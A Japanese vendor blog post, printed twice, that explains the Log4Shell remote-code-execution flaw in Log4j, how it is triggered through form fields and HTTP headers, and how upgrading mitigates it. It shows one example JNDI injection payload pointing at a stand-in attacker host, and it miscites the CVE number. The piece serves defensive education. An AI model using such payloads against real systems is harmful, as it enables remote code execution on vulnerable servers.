Log4jの脆弱性を解説!その攻撃経路と対策方法とは?

2022年1月16日発行
by Laura Verheyde
ケーススタディ

Log4jの脆弱性を解説!その攻撃経路と対策方法とは?

2022年1月16日発行
by Laura Verheyde
リソースを見る
リソースを見る

12月9日、Javaライブラリ「Log4j」の0-dayエクスプロイトが公開されました。Log4Shellと呼ばれるCVE-44228は、このエクスプロイトによってリモートコード実行(RCE)が可能になるため、「深刻度が高い」と評価されました。さらに、log4j-coreは、最も一般的に使用されているJavaロギングライブラリの1つであるため、何百万ものアプリケーションを危険にさらすことになります。

Log4Shellに取り組むためのスキルを素早くレベルアップしたいですか? 

私たちは、Log4Shellの基本的な考え方から、Missionと呼ばれるシミュレータでこの脆弱性の悪用を体験するまでのショーケースを構築しました。このミッションでは、Log4jの脆弱性がインフラやアプリケーションにどのような影響を与えるかを説明します。ここをクリックしてショーケースに飛び込むか、読み進めて脆弱性の詳細を知ることができます。

古いニュース?

このエクスプロイトは新しいものではありません。すでにセキュリティ研究者のAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatでの講演で、「アプリケーションは信頼されていないデータでJNDIルックアップを実行すべきではない」と強調し、標的となるJNDI/LDAPインジェクションがリモートコードの実行につながることを例示しています。そして、これこそがLog4Shellの核心なのです。

攻撃ベクトル

Log4Shellのインジェクションのペイロードは次のようなものです。

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

次に、JNDI(Java Naming and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使ってサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が管理するLDAPサーバーに対してルックアップを実行します。その応答は、例えば、悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、その結果、脆弱なサーバー上で実行されることになります。

この脆弱性が問題となるのは、Log4jがすべてのログ・エントリを評価し、「jndi」という接頭辞を持つEL構文で書かれたすべてのログされたユーザー入力のルックアップを実行することです。このペイロードは、フォームフィールドなど、ユーザーがデータを入力できるあらゆる場所に注入することができます。また、User-AgentX-Forwarded-ForなどのHTTPヘッダをカスタマイズして、ペイロードを搭載することができます。

実際に体験してみたい方は、ショーケースにアクセスして、ステップ2の「インパクトを体験する」に進んでください。

予防のために意識向上

Log4jは脆弱なコードにパッチを当てているため、すべてのアプリケーションでアップグレードが推奨されています。ただし、バージョン2.15.0および2.16.0には、DDoSなどの脆弱性が含まれていたため、12月下旬現在、2.17.0へのアップグレードが推奨されています。

コードを書く開発者として、私たちは常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にはリスクがあることを教えてくれました。安全だと思われる外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があることを意識する必要があります。 

この脆弱性は防ぐことができたのでしょうか?イエスでもありノーでもあります。一方で、サードパーティのソフトウェアを介して脆弱なコンポーネントが導入されているため、開発者ができることは限られています。一方で、この問題から得られる教訓は、何度も繰り返されてきたものです。

Secure Code Warrior は、コードの脆弱性を未然に防ぐためには、セキュリティマインドを持った開発者が最善の方法であると考えています。SCWは、プログラミングフレームワークに特化したトレーニングを大規模に提供しているため、企業のお客様は、レポートデータを活用することで、影響を受けたJava開発者が誰であるかを迅速に特定することができました。また、SCWのトレーニングを受けたセキュリティ・チャンピオンを頼りに、Log4jのアップグレードを加速させました。

特にJava開発者向けに、Secure Code Warrior は、無料のIntelliJ-pluginであるSensei を提供しています。このルールベースのコード解析ツールは、コーディングガイドラインの徹底や、脆弱性の防止・修正に利用できます。独自のルールを作成することもできますし、用意されたクックブックを使用することもできます。そして、Log4Shellの脆弱性を瞬時に発見し、修正するのに役立つLog4jのクックブックをダウンロードするのを忘れないでください。

Log4Shellを防御するためのスキルのレベルアップ

このブログ記事で学んだことを実践してみたいと思いませんか?私たちのショーケースがお役に立てると思います。ショーケースの最初に、この脆弱性についての簡単な説明があり、その後、シミュレートされた環境に移動して、ガイド付きの手順でエクスプロイトを試すことができるようになっています。


リソースを見る
リソースを見る

著者

ローラ・ベルヘイデ

Laura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。

もっと知りたい?

セキュアコーディングに関する最新の知見をブログでご紹介しています。

当社の豊富なリソースライブラリは、安全なコーディングアップスキルに対する人間的なアプローチを強化することを目的としています。

ブログを見る
もっと知りたい?

開発者主導のセキュリティに関する最新の研究成果を入手する

ホワイトペーパーからウェビナーまで、開発者主導のセキュアコーディングを始めるために役立つリソースが満載のリソースライブラリです。今すぐご覧ください。

リソース・ハブ

Log4jの脆弱性を解説!その攻撃経路と対策方法とは?

2022年1月16日発行
Laura Verheyde 著

12月9日、Javaライブラリ「Log4j」の0-dayエクスプロイトが公開されました。Log4Shellと呼ばれるCVE-44228は、このエクスプロイトによってリモートコード実行(RCE)が可能になるため、「深刻度が高い」と評価されました。さらに、log4j-coreは、最も一般的に使用されているJavaロギングライブラリの1つであるため、何百万ものアプリケーションを危険にさらすことになります。

Log4Shellに取り組むためのスキルを素早くレベルアップしたいですか? 

私たちは、Log4Shellの基本的な考え方から、Missionと呼ばれるシミュレータでこの脆弱性の悪用を体験するまでのショーケースを構築しました。このミッションでは、Log4jの脆弱性がインフラやアプリケーションにどのような影響を与えるかを説明します。ここをクリックしてショーケースに飛び込むか、読み進めて脆弱性の詳細を知ることができます。

古いニュース?

このエクスプロイトは新しいものではありません。すでにセキュリティ研究者のAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatでの講演で、「アプリケーションは信頼されていないデータでJNDIルックアップを実行すべきではない」と強調し、標的となるJNDI/LDAPインジェクションがリモートコードの実行につながることを例示しています。そして、これこそがLog4Shellの核心なのです。

攻撃ベクトル

Log4Shellのインジェクションのペイロードは次のようなものです。

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

次に、JNDI(Java Naming and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使ってサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が管理するLDAPサーバーに対してルックアップを実行します。その応答は、例えば、悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、その結果、脆弱なサーバー上で実行されることになります。

この脆弱性が問題となるのは、Log4jがすべてのログ・エントリを評価し、「jndi」という接頭辞を持つEL構文で書かれたすべてのログされたユーザー入力のルックアップを実行することです。このペイロードは、フォームフィールドなど、ユーザーがデータを入力できるあらゆる場所に注入することができます。また、User-AgentX-Forwarded-ForなどのHTTPヘッダをカスタマイズして、ペイロードを搭載することができます。

実際に体験してみたい方は、ショーケースにアクセスして、ステップ2の「インパクトを体験する」に進んでください。

予防のために意識向上

Log4jは脆弱なコードにパッチを当てているため、すべてのアプリケーションでアップグレードが推奨されています。ただし、バージョン2.15.0および2.16.0には、DDoSなどの脆弱性が含まれていたため、12月下旬現在、2.17.0へのアップグレードが推奨されています。

コードを書く開発者として、私たちは常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にはリスクがあることを教えてくれました。安全だと思われる外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があることを意識する必要があります。 

この脆弱性は防ぐことができたのでしょうか?イエスでもありノーでもあります。一方で、サードパーティのソフトウェアを介して脆弱なコンポーネントが導入されているため、開発者ができることは限られています。一方で、この問題から得られる教訓は、何度も繰り返されてきたものです。

Secure Code Warrior は、コードの脆弱性を未然に防ぐためには、セキュリティマインドを持った開発者が最善の方法であると考えています。SCWは、プログラミングフレームワークに特化したトレーニングを大規模に提供しているため、企業のお客様は、レポートデータを活用することで、影響を受けたJava開発者が誰であるかを迅速に特定することができました。また、SCWのトレーニングを受けたセキュリティ・チャンピオンを頼りに、Log4jのアップグレードを加速させました。

特にJava開発者向けに、Secure Code Warrior は、無料のIntelliJ-pluginであるSensei を提供しています。このルールベースのコード解析ツールは、コーディングガイドラインの徹底や、脆弱性の防止・修正に利用できます。独自のルールを作成することもできますし、用意されたクックブックを使用することもできます。そして、Log4Shellの脆弱性を瞬時に発見し、修正するのに役立つLog4jのクックブックをダウンロードするのを忘れないでください。

Log4Shellを防御するためのスキルのレベルアップ

このブログ記事で学んだことを実践してみたいと思いませんか?私たちのショーケースがお役に立てると思います。ショーケースの最初に、この脆弱性についての簡単な説明があり、その後、シミュレートされた環境に移動して、ガイド付きの手順でエクスプロイトを試すことができるようになっています。


弊社製品や関連するセキュアコーディングのトピックに関する情報をお送りする許可をお願いします。当社は、お客様の個人情報を細心の注意を払って取り扱い、マーケティング目的で他社に販売することは決してありません。

送信
フォームを送信するには、「Analytics」のCookieを有効にしてください。完了したら、再度無効にしてください。